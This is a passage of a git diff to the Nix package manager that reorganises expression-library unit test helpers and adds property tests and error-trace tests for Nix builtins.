stdenv.hostPlatform.isStatic "pie"; + + meta = { + platforms = lib.platforms.unix ++ lib.platforms.windows; + }; + +}) diff --git a/src/libexpr/tests/libexprtests.hh b/tests/unit/libexpr-support/tests/libexpr.hh similarity index 69% rename from src/libexpr/tests/libexprtests.hh rename to tests/unit/libexpr-support/tests/libexpr.hh index 5bb5e66d3..045607e87 100644 --- a/src/libexpr/tests/libexprtests.hh +++ b/tests/unit/libexpr-support/tests/libexpr.hh @@ -1,29 +1,38 @@ +#pragma once +///@file + #include #include +#include "fetch-settings.hh" #include "value.hh" #include "nixexpr.hh" +#include "nixexpr.hh" #include "eval.hh" +#include "eval-gc.hh" #include "eval-inline.hh" -#include "store-api.hh" +#include "eval-settings.hh" +#include "tests/libstore.hh" namespace nix { - class LibExprTest : public ::testing::Test { + class LibExprTest : public LibStoreTest { public: static void SetUpTestSuite() { + LibStoreTest::SetUpTestSuite(); initGC(); } protected: LibExprTest() - : store(openStore("dummy://")) - , state({}, store) + : LibStoreTest() + , state({}, store, fetchSettings, evalSettings, nullptr) { + evalSettings.nixPath = {}; } Value eval(std::string input, bool forceValue = true) { Value v; - Expr * e = state.parseExprFromString(input, ""); + Expr * e = state.parseExprFromString(input, state.rootPath(CanonPath::root)); assert(e); state.eval(e, v); if (forceValue) @@ -35,7 +44,9 @@ namespace nix { return state.symbols.create(value); } - ref store; + bool readOnlyMode = true; + fetchers::Settings fetchSettings{}; + EvalSettings evalSettings{readOnlyMode}; EvalState state; }; @@ -67,46 +78,49 @@ namespace nix { if (arg.type() != nString) { return false; } - return std::string_view(arg.string.s) == s; + return std::string_view(arg.c_str()) == s; } MATCHER_P(IsIntEq, v, fmt("The string is equal to \"%1%\"", v)) { if (arg.type() != nInt) { return false; } - return arg.integer == v; + return arg.integer().value == v; } MATCHER_P(IsFloatEq, v, fmt("The float is equal to \"%1%\"", v)) { if (arg.type() != nFloat) { return false; } - return arg.fpoint == v; + return arg.fpoint() == v; } MATCHER(IsTrue, "") { if (arg.type() != nBool) { return false; } - return arg.boolean == true; + return arg.boolean() == true; } MATCHER(IsFalse, "") { if (arg.type() != nBool) { return false; } - return arg.boolean == false; + return arg.boolean() == false; } MATCHER_P(IsPathEq, p, fmt("Is a path equal to \"%1%\"", p)) { - if (arg.type() != nPath) { - *result_listener << "Expected a path got " << arg.type(); - return false; - } else if (std::string_view(arg.string.s) != p) { - *result_listener << "Expected a path that equals \"" << p << "\" but got: " << arg.string.s; + if (arg.type() != nPath) { + *result_listener << "Expected a path got " << arg.type(); + return false; + } else { + auto path = arg.path(); + if (path.path != CanonPath(p)) { + *result_listener << "Expected a path that equals \"" << p << "\" but got: " << path.path; return false; } - return true; + } + return true; } @@ -125,8 +139,8 @@ namespace nix { if (arg.type() != nAttrs) { *result_listener << "Expected set got " << arg.type(); return false; - } else if (arg.attrs->size() != (size_t)n) { - *result_listener << "Expected a set with " << n << " attributes but got " << arg.attrs->size(); + } else if (arg.attrs()->size() != (size_t) n) { + *result_listener << "Expected a set with " << n << " attributes but got " << arg.attrs()->size(); return false; } return true; diff --git a/tests/unit/libexpr-support/tests/nix_api_expr.hh b/tests/unit/libexpr-support/tests/nix_api_expr.hh new file mode 100644 index 000000000..6ddca0d14 --- /dev/null +++ b/tests/unit/libexpr-support/tests/nix_api_expr.hh @@ -0,0 +1,31 @@ +#pragma once +///@file +#include "nix_api_expr.h" +#include "nix_api_value.h" +#include "tests/nix_api_store.hh" + +#include + +namespace nixC { + +class nix_api_expr_test : public nix_api_store_test +{ +protected: + + nix_api_expr_test() + { + nix_libexpr_init(ctx); + state = nix_state_create(nullptr, nullptr, store); + value = nix_alloc_value(nullptr, state); + } + ~nix_api_expr_test() + { + nix_gc_decref(nullptr, value); + nix_state_free(state); + } + + EvalState * state; + nix_value * value; +}; + +} diff --git a/tests/unit/libexpr-support/tests/value/context.cc b/tests/unit/libexpr-support/tests/value/context.cc new file mode 100644 index 000000000..8658bdaef --- /dev/null +++ b/tests/unit/libexpr-support/tests/value/context.cc @@ -0,0 +1,30 @@ +#include + +#include "tests/path.hh" +#include "tests/value/context.hh" + +namespace rc { +using namespace nix; + +Gen Arbitrary::arbitrary() +{ + return gen::just(NixStringContextElem::DrvDeep { + .drvPath = *gen::arbitrary(), + }); +} + +Gen Arbitrary::arbitrary() +{ + switch (*gen::inRange(0, std::variant_size_v)) { + case 0: + return gen::just(*gen::arbitrary()); + case 1: + return gen::just(*gen::arbitrary()); + case 2: + return gen::just(*gen::arbitrary()); + default: + assert(false); + } +} + +} diff --git a/tests/unit/libexpr-support/tests/value/context.hh b/tests/unit/libexpr-support/tests/value/context.hh new file mode 100644 index 000000000..8c68c78bb --- /dev/null +++ b/tests/unit/libexpr-support/tests/value/context.hh @@ -0,0 +1,31 @@ +#pragma once +///@file + +#include + +#include "value/context.hh" + +namespace rc { +using namespace nix; + +template<> +struct Arbitrary { + static Gen arbitrary(); +}; + +template<> +struct Arbitrary { + static Gen arbitrary(); +}; + +template<> +struct Arbitrary { + static Gen arbitrary(); +}; + +template<> +struct Arbitrary { + static Gen arbitrary(); +}; + +} diff --git a/tests/unit/libexpr/.version b/tests/unit/libexpr/.version new file mode 120000 index 000000000..0df9915bf --- /dev/null +++ b/tests/unit/libexpr/.version @@ -0,0 +1 @@ +../../../.version \ No newline at end of file diff --git a/tests/unit/libexpr/build-utils-meson b/tests/unit/libexpr/build-utils-meson new file mode 120000 index 000000000..f2d8e8a50 --- /dev/null +++ b/tests/unit/libexpr/build-utils-meson @@ -0,0 +1 @@ +../../../build-utils-meson/ \ No newline at end of file diff --git a/tests/unit/libexpr/data/.gitkeep b/tests/unit/libexpr/data/.gitkeep new file mode 100644 index 000000000..e69de29bb diff --git a/tests/unit/libexpr/derived-path.cc b/tests/unit/libexpr/derived-path.cc new file mode 100644 index 000000000..d5fc6f201 --- /dev/null +++ b/tests/unit/libexpr/derived-path.cc @@ -0,0 +1,68 @@ +#include +#include +#include + +#include "tests/derived-path.hh" +#include "tests/libexpr.hh" + +namespace nix { + +// Testing of trivial expressions +class DerivedPathExpressionTest : public LibExprTest {}; + +// FIXME: `RC_GTEST_FIXTURE_PROP` isn't calling `SetUpTestSuite` because it is +// no a real fixture. +// +// See https://github.com/emil-e/rapidcheck/blob/master/doc/gtest.md#rc_gtest_fixture_propfixture-name-args +TEST_F(DerivedPathExpressionTest, force_init) +{ +} + +#ifndef COVERAGE + +RC_GTEST_FIXTURE_PROP( + DerivedPathExpressionTest, + prop_opaque_path_round_trip, + (const SingleDerivedPath::Opaque & o)) +{ + auto * v = state.allocValue(); + state.mkStorePathString(o.path, *v); + auto d = state.coerceToSingleDerivedPath(noPos, *v, ""); + RC_ASSERT(SingleDerivedPath { o } == d); +} + +// TODO use DerivedPath::Built for parameter once it supports a single output +// path only. + +RC_GTEST_FIXTURE_PROP( + DerivedPathExpressionTest, + prop_derived_path_built_placeholder_round_trip, + (const SingleDerivedPath::Built & b)) +{ + /** + * We set these in tests rather than the regular globals so we don't have + * to worry about race conditions if the tests run concurrently. + */ + ExperimentalFeatureSettings mockXpSettings; + mockXpSettings.set("experimental-features", "ca-derivations"); + + auto * v = state.allocValue(); + state.mkOutputString(*v, b, std::nullopt, mockXpSettings); + auto [d, _] = state.coerceToSingleDerivedPathUnchecked(noPos, *v, ""); + RC_ASSERT(SingleDerivedPath { b } == d); +} + +RC_GTEST_FIXTURE_PROP( + DerivedPathExpressionTest, + prop_derived_path_built_out_path_round_trip, + (const SingleDerivedPath::Built & b, const StorePath & outPath)) +{ + auto * v = state.allocValue(); + state.mkOutputString(*v, b, outPath); + auto [d, _] = state.coerceToSingleDerivedPathUnchecked(noPos, *v, ""); + RC_ASSERT(SingleDerivedPath { b } == d); +} + +#endif + +} /* namespace nix */ diff --git a/tests/unit/libexpr/error_traces.cc b/tests/unit/libexpr/error_traces.cc new file mode 100644 index 000000000..be379a909 --- /dev/null +++ b/tests/unit/libexpr/error_traces.cc @@ -0,0 +1,1378 @@ +#include +#include + +#include "tests/libexpr.hh" + +namespace nix { + + using namespace testing; + + // Testing eval of PrimOp's + class ErrorTraceTest : public LibExprTest { }; + + TEST_F(ErrorTraceTest, TraceBuilder) { + ASSERT_THROW( + state.error("puppy").debugThrow(), + EvalError + ); + + ASSERT_THROW( + state.error("puppy").withTrace(noPos, "doggy").debugThrow(), + EvalError + ); + + ASSERT_THROW( + try { + try { + state.error("puppy").withTrace(noPos, "doggy").debugThrow(); + } catch (Error & e) { + e.addTrace(state.positions[noPos], "beans"); + throw; + } + } catch (BaseError & e) { + ASSERT_EQ(PrintToString(e.info().msg), + PrintToString(HintFmt("puppy"))); + auto trace = e.info().traces.rbegin(); + ASSERT_EQ(e.info().traces.size(), 2); + ASSERT_EQ(PrintToString(trace->hint), + PrintToString(HintFmt("doggy"))); + trace++; + ASSERT_EQ(PrintToString(trace->hint), + PrintToString(HintFmt("beans"))); + throw; + } + , EvalError + ); + } + + TEST_F(ErrorTraceTest, NestedThrows) { + try { + state.error("puppy").withTrace(noPos, "doggy").debugThrow(); + } catch (BaseError & e) { + try { + state.error("beans").debugThrow(); + } catch (Error & e2) { + e.addTrace(state.positions[noPos], "beans2"); + //e2.addTrace(state.positions[noPos], "Something", ""); + ASSERT_TRUE(e.info().traces.size() == 2); + ASSERT_TRUE(e2.info().traces.size() == 0); + ASSERT_FALSE(&e.info() == &e2.info()); + } + } + } + +#define ASSERT_TRACE1(args, type, message) \ + ASSERT_THROW( \ + std::string expr(args); \ + std::string name = expr.substr(0, expr.find(" ")); \ + try { \ + Value v = eval("builtins." args); \ + state.forceValueDeep(v); \ + } catch (BaseError & e) { \ + ASSERT_EQ(PrintToString(e.info().msg), \ + PrintToString(message)); \ + ASSERT_EQ(e.info().traces.size(), 1) << "while testing " args << std::endl << e.what(); \ + auto trace = e.info().traces.rbegin(); \ + ASSERT_EQ(PrintToString(trace->hint), \ + PrintToString(HintFmt("while calling the '%s' builtin", name))); \ + throw; \ + } \ + , type \ + ) + +#define ASSERT_TRACE2(args, type, message, context) \ + ASSERT_THROW( \ + std::string expr(args); \ + std::string name = expr.substr(0, expr.find(" ")); \ + try { \ + Value v = eval("builtins." args); \ + state.forceValueDeep(v); \ + } catch (BaseError & e) { \ + ASSERT_EQ(PrintToString(e.info().msg), \ + PrintToString(message)); \ + ASSERT_EQ(e.info().traces.size(), 2) << "while testing " args << std::endl << e.what(); \ + auto trace = e.info().traces.rbegin(); \ + ASSERT_EQ(PrintToString(trace->hint), \ + PrintToString(context)); \ + ++trace; \ + ASSERT_EQ(PrintToString(trace->hint), \ + PrintToString(HintFmt("while calling the '%s' builtin", name))); \ + throw; \ + } \ + , type \ + ) + +#define ASSERT_TRACE3(args, type, message, context1, context2) \ + ASSERT_THROW( \ + std::string expr(args); \ + std::string name = expr.substr(0, expr.find(" ")); \ + try { \ + Value v = eval("builtins." args); \ + state.forceValueDeep(v); \ + } catch (BaseError & e) { \ + ASSERT_EQ(PrintToString(e.info().msg), \ + PrintToString(message)); \ + ASSERT_EQ(e.info().traces.size(), 3) << "while testing " args << std::endl << e.what(); \ + auto trace = e.info().traces.rbegin(); \ + ASSERT_EQ(PrintToString(trace->hint), \ + PrintToString(context1)); \ + ++trace; \ + ASSERT_EQ(PrintToString(trace->hint), \ + PrintToString(context2)); \ + ++trace; \ + ASSERT_EQ(PrintToString(trace->hint), \ + PrintToString(HintFmt("while calling the '%s' builtin", name))); \ + throw; \ + } \ + , type \ + ) + +#define ASSERT_TRACE4(args, type, message, context1, context2, context3) \ + ASSERT_THROW( \ + std::string expr(args); \ + std::string name = expr.substr(0, expr.find(" ")); \ + try { \ + Value v = eval("builtins." args); \ + state.forceValueDeep(v); \ + } catch (BaseError & e) { \ + ASSERT_EQ(PrintToString(e.info().msg), \ + PrintToString(message)); \ + ASSERT_EQ(e.info().traces.size(), 4) << "while testing " args << std::endl << e.what(); \ + auto trace = e.info().traces.rbegin(); \ + ASSERT_EQ(PrintToString(trace->hint), \ + PrintToString(context1)); \ + ++trace; \ + ASSERT_EQ(PrintToString(trace->hint), \ + PrintToString(context2)); \ + ++trace; \ + ASSERT_EQ(PrintToString(trace->hint), \ + PrintToString(context3)); \ + ++trace; \ + ASSERT_EQ(PrintToString(trace->hint), \ + PrintToString(HintFmt("while calling the '%s' builtin", name))); \ + throw; \ + } \ + , type \ + ) + +// We assume that expr starts with "builtins.derivationStrict { name =", +// otherwise the name attribute position (1, 29) would be invalid. +#define DERIVATION_TRACE_HINTFMT(name) \ + HintFmt("while evaluating derivation '%s'\n" \ + " whose name attribute is located at %s", \ + name, Pos(1, 29, Pos::String{.source = make_ref(expr)})) + +// To keep things simple, we also assume that derivation name is "foo". +#define ASSERT_DERIVATION_TRACE1(args, type, message) \ + ASSERT_TRACE2(args, type, message, DERIVATION_TRACE_HINTFMT("foo")) +#define ASSERT_DERIVATION_TRACE2(args, type, message, context) \ + ASSERT_TRACE3(args, type, message, context, DERIVATION_TRACE_HINTFMT("foo")) +#define ASSERT_DERIVATION_TRACE3(args, type, message, context1, context2) \ + ASSERT_TRACE4(args, type, message, context1, context2, DERIVATION_TRACE_HINTFMT("foo")) + + TEST_F(ErrorTraceTest, genericClosure) { + ASSERT_TRACE2("genericClosure 1", + TypeError, + HintFmt("expected a set but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), + HintFmt("while evaluating the first argument passed to builtins.genericClosure")); + + ASSERT_TRACE2("genericClosure {}", + TypeError, + HintFmt("attribute '%s' missing", "startSet"), + HintFmt("in the attrset passed as argument to builtins.genericClosure")); + + ASSERT_TRACE2("genericClosure { startSet = 1; }", + TypeError, + HintFmt("expected a list but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), + HintFmt("while evaluating the 'startSet' attribute passed as argument to builtins.genericClosure")); + + ASSERT_TRACE2("genericClosure { startSet = [{ key = 1;}]; operator = true; }", + TypeError, + HintFmt("expected a function but found %s: %s", "a Boolean", Uncolored(ANSI_CYAN "true" ANSI_NORMAL)), + HintFmt("while evaluating the 'operator' attribute passed as argument to builtins.genericClosure")); + + ASSERT_TRACE2("genericClosure { startSet = [{ key = 1;}]; operator = item: true; }", + TypeError, + HintFmt("expected a list but found %s: %s", "a Boolean", Uncolored(ANSI_CYAN "true" ANSI_NORMAL)), + HintFmt("while evaluating the return value of the `operator` passed to builtins.genericClosure")); + + ASSERT_TRACE2("genericClosure { startSet = [{ key = 1;}]; operator = item: [ true ]; }", + TypeError, + HintFmt("expected a set but found %s: %s", "a Boolean", Uncolored(ANSI_CYAN "true" ANSI_NORMAL)), + HintFmt("while evaluating one of the elements generated by (or initially passed to) builtins.genericClosure")); + + ASSERT_TRACE2("genericClosure { startSet = [{ key = 1;}]; operator = item: [ {} ]; }", + TypeError, + HintFmt("attribute '%s' missing", "key"), + HintFmt("in one of the attrsets generated by (or initially passed to) builtins.genericClosure")); + + ASSERT_TRACE2("genericClosure { startSet = [{ key = 1;}]; operator = item: [{ key = ''a''; }]; }", + EvalError, + HintFmt("cannot compare %s with %s", "a string", "an integer"), + HintFmt("while comparing the `key` attributes of two genericClosure elements")); + + ASSERT_TRACE2("genericClosure { startSet = [ true ]; operator = item: [{ key = ''a''; }]; }", + TypeError, + HintFmt("expected a set but found %s: %s", "a Boolean", Uncolored(ANSI_CYAN "true" ANSI_NORMAL)), + HintFmt("while evaluating one of the elements generated by (or initially passed to) builtins.genericClosure")); + + } + + + TEST_F(ErrorTraceTest, replaceStrings) { + ASSERT_TRACE2("replaceStrings 0 0 {}", + TypeError, + HintFmt("expected a list but found %s: %s", "an integer", Uncolored(ANSI_CYAN "0" ANSI_NORMAL)), + HintFmt("while evaluating the first argument passed to builtins.replaceStrings")); + + ASSERT_TRACE2("replaceStrings [] 0 {}", + TypeError, + HintFmt("expected a list but found %s: %s", "an integer", Uncolored(ANSI_CYAN "0" ANSI_NORMAL)), + HintFmt("while evaluating the second argument passed to builtins.replaceStrings")); + + ASSERT_TRACE1("replaceStrings [ 0 ] [] {}", + EvalError, + HintFmt("'from' and 'to' arguments passed to builtins.replaceStrings have different lengths")); + + ASSERT_TRACE2("replaceStrings [ 1 ] [ \"new\" ] {}", + TypeError, + HintFmt("expected a string but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), + HintFmt("while evaluating one of the strings to replace passed to builtins.replaceStrings")); + + ASSERT_TRACE2("replaceStrings [ \"oo\" ] [ true ] \"foo\"", + TypeError, + HintFmt("expected a string but found %s: %s", "a Boolean", Uncolored(ANSI_CYAN "true" ANSI_NORMAL)), + HintFmt("while evaluating one of the replacement strings passed to builtins.replaceStrings")); + + ASSERT_TRACE2("replaceStrings [ \"old\" ] [ \"new\" ] {}", + TypeError, + HintFmt("expected a string but found %s: %s", "a set", Uncolored("{ }")), + HintFmt("while evaluating the third argument passed to builtins.replaceStrings")); + + } + + + TEST_F(ErrorTraceTest, scopedImport) { + } + + + TEST_F(ErrorTraceTest, import) { + } + + + TEST_F(ErrorTraceTest, typeOf) { + } + + + TEST_F(ErrorTraceTest, isNull) { + } + + + TEST_F(ErrorTraceTest, isFunction) { + } + + + TEST_F(ErrorTraceTest, isInt) { + } + + + TEST_F(ErrorTraceTest, isFloat) { + } + + + TEST_F(ErrorTraceTest, isString) { + } + + + TEST_F(ErrorTraceTest, isBool) { + } + + + TEST_F(ErrorTraceTest, isPath) { + } + + + TEST_F(ErrorTraceTest, break) { + } + + + TEST_F(ErrorTraceTest, abort) { + } + + + TEST_F(ErrorTraceTest, throw) { + } + + + TEST_F(ErrorTraceTest, addErrorContext) { + } + + + TEST_F(ErrorTraceTest, ceil) { + ASSERT_TRACE2("ceil \"foo\"", + TypeError, + HintFmt("expected a float but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"foo\"" ANSI_NORMAL)), + HintFmt("while evaluating the first argument passed to builtins.ceil")); + + } + + + TEST_F(ErrorTraceTest, floor) { + ASSERT_TRACE2("floor \"foo\"", + TypeError, + HintFmt("expected a float but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"foo\"" ANSI_NORMAL)), + HintFmt("while evaluating the first argument passed to builtins.floor")); + + } + + + TEST_F(ErrorTraceTest, tryEval) { + } + + + TEST_F(ErrorTraceTest, getEnv) { + ASSERT_TRACE2("getEnv [ ]", + TypeError, + HintFmt("expected a string but found %s: %s", "a list", Uncolored("[ ]")), + HintFmt("while evaluating the first argument passed to builtins.getEnv")); + + } + + + TEST_F(ErrorTraceTest, seq) { + } + + + TEST_F(ErrorTraceTest, deepSeq) { + } + + + TEST_F(ErrorTraceTest, trace) { + } + + + TEST_F(ErrorTraceTest, placeholder) { + ASSERT_TRACE2("placeholder []", + TypeError, + HintFmt("expected a string but found %s: %s", "a list", Uncolored("[ ]")), + HintFmt("while evaluating the first argument passed to builtins.placeholder")); + + } + + + TEST_F(ErrorTraceTest, toPath) { + ASSERT_TRACE2("toPath []", + TypeError, + HintFmt("cannot coerce %s to a string: %s", "a list", Uncolored("[ ]")), + HintFmt("while evaluating the first argument passed to builtins.toPath")); + + ASSERT_TRACE2("toPath \"foo\"", + EvalError, + HintFmt("string '%s' doesn't represent an absolute path", "foo"), + HintFmt("while evaluating the first argument passed to builtins.toPath")); + + } + + + TEST_F(ErrorTraceTest, storePath) { + ASSERT_TRACE2("storePath true", + TypeError, + HintFmt("cannot coerce %s to a string: %s", "a Boolean", Uncolored(ANSI_CYAN "true" ANSI_NORMAL)), + HintFmt("while evaluating the first argument passed to 'builtins.storePath'")); + + } + + + TEST_F(ErrorTraceTest, pathExists) { + ASSERT_TRACE2("pathExists []", + TypeError, + HintFmt("cannot coerce %s to a string: %s", "a list", Uncolored("[ ]")), + HintFmt("while realising the context of a path")); + + ASSERT_TRACE2("pathExists \"zorglub\"", + EvalError, + HintFmt("string '%s' doesn't represent an absolute path", "zorglub"), + HintFmt("while realising the context of a path")); + + } + + + TEST_F(ErrorTraceTest, baseNameOf) { + ASSERT_TRACE2("baseNameOf []", + TypeError, + HintFmt("cannot coerce %s to a string: %s", "a list", Uncolored("[ ]")), + HintFmt("while evaluating the first argument passed to builtins.baseNameOf")); + + } + + + TEST_F(ErrorTraceTest, dirOf) { + } + + + TEST_F(ErrorTraceTest, readFile) { + } + + + TEST_F(ErrorTraceTest, findFile) { + } + + + TEST_F(ErrorTraceTest, hashFile) { + } + + + TEST_F(ErrorTraceTest, readDir) { + } + + + TEST_F(ErrorTraceTest, toXML) { + } + + + TEST_F(ErrorTraceTest, toJSON) { + } + + + TEST_F(ErrorTraceTest, fromJSON) { + } + + + TEST_F(ErrorTraceTest, toFile) { + } + + + TEST_F(ErrorTraceTest, filterSource) { + ASSERT_TRACE2("filterSource [] []", + TypeError, + HintFmt("cannot coerce %s to a string: %s", "a list", Uncolored("[ ]")), + HintFmt("while evaluating the second argument (the path to filter) passed to 'builtins.filterSource'")); + + ASSERT_TRACE2("filterSource [] \"foo\"", + EvalError, + HintFmt("string '%s' doesn't represent an absolute path", "foo"), + HintFmt("while evaluating the second argument (the path to filter) passed to 'builtins.filterSource'")); + + ASSERT_TRACE2("filterSource [] ./.", + TypeError, + HintFmt("expected a function but found %s: %s", "a list", Uncolored("[ ]")), + HintFmt("while evaluating the first argument passed to builtins.filterSource")); + + // Usupported by store "dummy" + + // ASSERT_TRACE2("filterSource (_: 1) ./.", + // TypeError, + // HintFmt("attempt to call something which is not a function but %s", "an integer"), + // HintFmt("while adding path '/home/layus/projects/nix'")); + + // ASSERT_TRACE2("filterSource (_: _: 1) ./.", + // TypeError, + // HintFmt("expected a Boolean but found %s: %s", "an integer", "1"), + // HintFmt("while evaluating the return value of the path filter function")); + + } + + + TEST_F(ErrorTraceTest, path) { + } + + + TEST_F(ErrorTraceTest, attrNames) { + ASSERT_TRACE2("attrNames []", + TypeError, + HintFmt("expected a set but found %s: %s", "a list", Uncolored("[ ]")), + HintFmt("while evaluating the argument passed to builtins.attrNames")); + + } + + + TEST_F(ErrorTraceTest, attrValues) { + ASSERT_TRACE2("attrValues []", + TypeError, + HintFmt("expected a set but found %s: %s", "a list", Uncolored("[ ]")), + HintFmt("while evaluating the argument passed to builtins.attrValues")); + + } + + + TEST_F(ErrorTraceTest, getAttr) { + ASSERT_TRACE2("getAttr [] []", + TypeError, + HintFmt("expected a string but found %s: %s", "a list", Uncolored("[ ]")), + HintFmt("while evaluating the first argument passed to builtins.getAttr")); + + ASSERT_TRACE2("getAttr \"foo\" []", + TypeError, + HintFmt("expected a set but found %s: %s", "a list", Uncolored("[ ]")), + HintFmt("while evaluating the second argument passed to builtins.getAttr")); + + ASSERT_TRACE2("getAttr \"foo\" {}", + TypeError, + HintFmt("attribute '%s' missing", "foo"), + HintFmt("in the attribute set under consideration")); + + } + + + TEST_F(ErrorTraceTest, unsafeGetAttrPos) { + } + + + TEST_F(ErrorTraceTest, hasAttr) { + ASSERT_TRACE2("hasAttr [] []", + TypeError, + HintFmt("expected a string but found %s: %s", "a list", Uncolored("[ ]")), + HintFmt("while evaluating the first argument passed to builtins.hasAttr")); + + ASSERT_TRACE2("hasAttr \"foo\" []", + TypeError, + HintFmt("expected a set but found %s: %s", "a list", Uncolored("[ ]")), + HintFmt("while evaluating the second argument passed to builtins.hasAttr")); + + } + + + TEST_F(ErrorTraceTest, isAttrs) { + } + + + TEST_F(ErrorTraceTest, removeAttrs) { + ASSERT_TRACE2("removeAttrs \"\" \"\"", + TypeError, + HintFmt("expected a set but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"\"" ANSI_NORMAL)), + HintFmt("while evaluating the first argument passed to builtins.removeAttrs")); + + ASSERT_TRACE2("removeAttrs \"\" [ 1 ]", + TypeError, + HintFmt("expected a set but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"\"" ANSI_NORMAL)), + HintFmt("while evaluating the first argument passed to builtins.removeAttrs")); + + ASSERT_TRACE2("removeAttrs \"\" [ \"1\" ]", + TypeError, + HintFmt("expected a set but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"\"" ANSI_NORMAL)), + HintFmt("while evaluating the first argument passed to builtins.removeAttrs")); + + } + + + TEST_F(ErrorTraceTest, listToAttrs) { + ASSERT_TRACE2("listToAttrs 1", + TypeError, + HintFmt("expected a list but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), + HintFmt("while evaluating the argument passed to builtins.listToAttrs")); + + ASSERT_TRACE2("listToAttrs [ 1 ]", + TypeError, + HintFmt("expected a set but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), + HintFmt("while evaluating an element of the list passed to builtins.listToAttrs")); + + ASSERT_TRACE2("listToAttrs [ {} ]", + TypeError, + HintFmt("attribute '%s' missing", "name"), + HintFmt("in a {name=...; value=...;} pair")); + + ASSERT_TRACE2("listToAttrs [ { name = 1; } ]", + TypeError, + HintFmt("expected a string but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), + HintFmt("while evaluating the `name` attribute of an element of the list passed to builtins.listToAttrs")); + + ASSERT_TRACE2("listToAttrs [ { name = \"foo\"; } ]", + TypeError, + HintFmt("attribute '%s' missing", "value"), + HintFmt("in a {name=...; value=...;} pair")); + + } + + + TEST_F(ErrorTraceTest, intersectAttrs) { + ASSERT_TRACE2("intersectAttrs [] []", + TypeError, + HintFmt("expected a set but found %s: %s", "a list", Uncolored("[ ]")), + HintFmt("while evaluating the first argument passed to builtins.intersectAttrs")); + + ASSERT_TRACE2("intersectAttrs {} []", + TypeError, + HintFmt("expected a set but found %s: %s", "a list", Uncolored("[ ]")), + HintFmt("while evaluating the second argument passed to builtins.intersectAttrs")); + + } + + + TEST_F(ErrorTraceTest, catAttrs) { + ASSERT_TRACE2("catAttrs [] {}", + TypeError, + HintFmt("expected a string but found %s: %s", "a list", Uncolored("[ ]")), + HintFmt("while evaluating the first argument passed to builtins.catAttrs")); + + ASSERT_TRACE2("catAttrs \"foo\" {}", + TypeError, + HintFmt("expected a list but found %s: %s", "a set", Uncolored("{ }")), + HintFmt("while evaluating the second argument passed to builtins.catAttrs")); + + ASSERT_TRACE2("catAttrs \"foo\" [ 1 ]", + TypeError, + HintFmt("expected a set but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), + HintFmt("while evaluating an element in the list passed as second argument to builtins.catAttrs")); + + ASSERT_TRACE2("catAttrs \"foo\" [ { foo = 1; } 1 { bar = 5;} ]", + TypeError, + HintFmt("expected a set but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), + HintFmt("while evaluating an element in the list passed as second argument to builtins.catAttrs")); + + } + + + TEST_F(ErrorTraceTest, functionArgs) { + ASSERT_TRACE1("functionArgs {}", + TypeError, + HintFmt("'functionArgs' requires a function")); + + } + + + TEST_F(ErrorTraceTest, mapAttrs) { + ASSERT_TRACE2("mapAttrs [] []", + TypeError, + HintFmt("expected a set but found %s: %s", "a list", Uncolored("[ ]")), + HintFmt("while evaluating the second argument passed to builtins.mapAttrs")); + + // XXX: defered + // ASSERT_TRACE2("mapAttrs \"\" { foo.bar = 1; }", + // TypeError, + // HintFmt("attempt to call something which is not a function but %s", "a string"), + // HintFmt("while evaluating the attribute 'foo'")); + + // ASSERT_TRACE2("mapAttrs (x: x + \"1\") { foo.bar = 1; }", + // TypeError, + // HintFmt("attempt to call something which is not a function but %s", "a string"), + // HintFmt("while evaluating the attribute 'foo'")); + + // ASSERT_TRACE2("mapAttrs (x: y: x + 1) { foo.bar = 1; }", + // TypeError, + // HintFmt("cannot coerce %s to a string", "an integer"), + // HintFmt("while evaluating a path segment")); + + } + + + TEST_F(ErrorTraceTest, zipAttrsWith) { + ASSERT_TRACE2("zipAttrsWith [] [ 1 ]", + TypeError, + HintFmt("expected a function but found %s: %s", "a list", Uncolored("[ ]")), + HintFmt("while evaluating the first argument passed to builtins.zipAttrsWith")); + + ASSERT_TRACE2("zipAttrsWith (_: 1) [ 1 ]", + TypeError, + HintFmt("expected a set but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), + HintFmt("while evaluating a value of the list passed as second argument to builtins.zipAttrsWith")); + + // XXX: How to properly tell that the fucntion takes two arguments ? + // The same question also applies to sort, and maybe others. + // Due to lazyness, we only create a thunk, and it fails later on. + // ASSERT_TRACE2("zipAttrsWith (_: 1) [ { foo = 1; } ]", + // TypeError, + // HintFmt("attempt to call something which is not a function but %s", "an integer"), + // HintFmt("while evaluating the attribute 'foo'")); + + // XXX: Also deferred deeply + // ASSERT_TRACE2("zipAttrsWith (a: b: a + b) [ { foo = 1; } { foo = 2; } ]", + // TypeError, + // HintFmt("cannot coerce %s to a string", "a list"), + // HintFmt("while evaluating a path segment")); + + } + + + TEST_F(ErrorTraceTest, isList) { + } + + + TEST_F(ErrorTraceTest, elemAt) { + ASSERT_TRACE2("elemAt \"foo\" (-1)", + TypeError, + HintFmt("expected a list but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"foo\"" ANSI_NORMAL)), + HintFmt("while evaluating the first argument passed to builtins.elemAt")); + + ASSERT_TRACE1("elemAt [] (-1)", + Error, + HintFmt("list index %d is out of bounds", -1)); + + ASSERT_TRACE1("elemAt [\"foo\"] 3", + Error, + HintFmt("list index %d is out of bounds", 3)); + + } + + + TEST_F(ErrorTraceTest, head) { + ASSERT_TRACE2("head 1", + TypeError, + HintFmt("expected a list but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), + HintFmt("while evaluating the first argument passed to builtins.elemAt")); + + ASSERT_TRACE1("head []", + Error, + HintFmt("list index %d is out of bounds", 0)); + + } + + + TEST_F(ErrorTraceTest, tail) { + 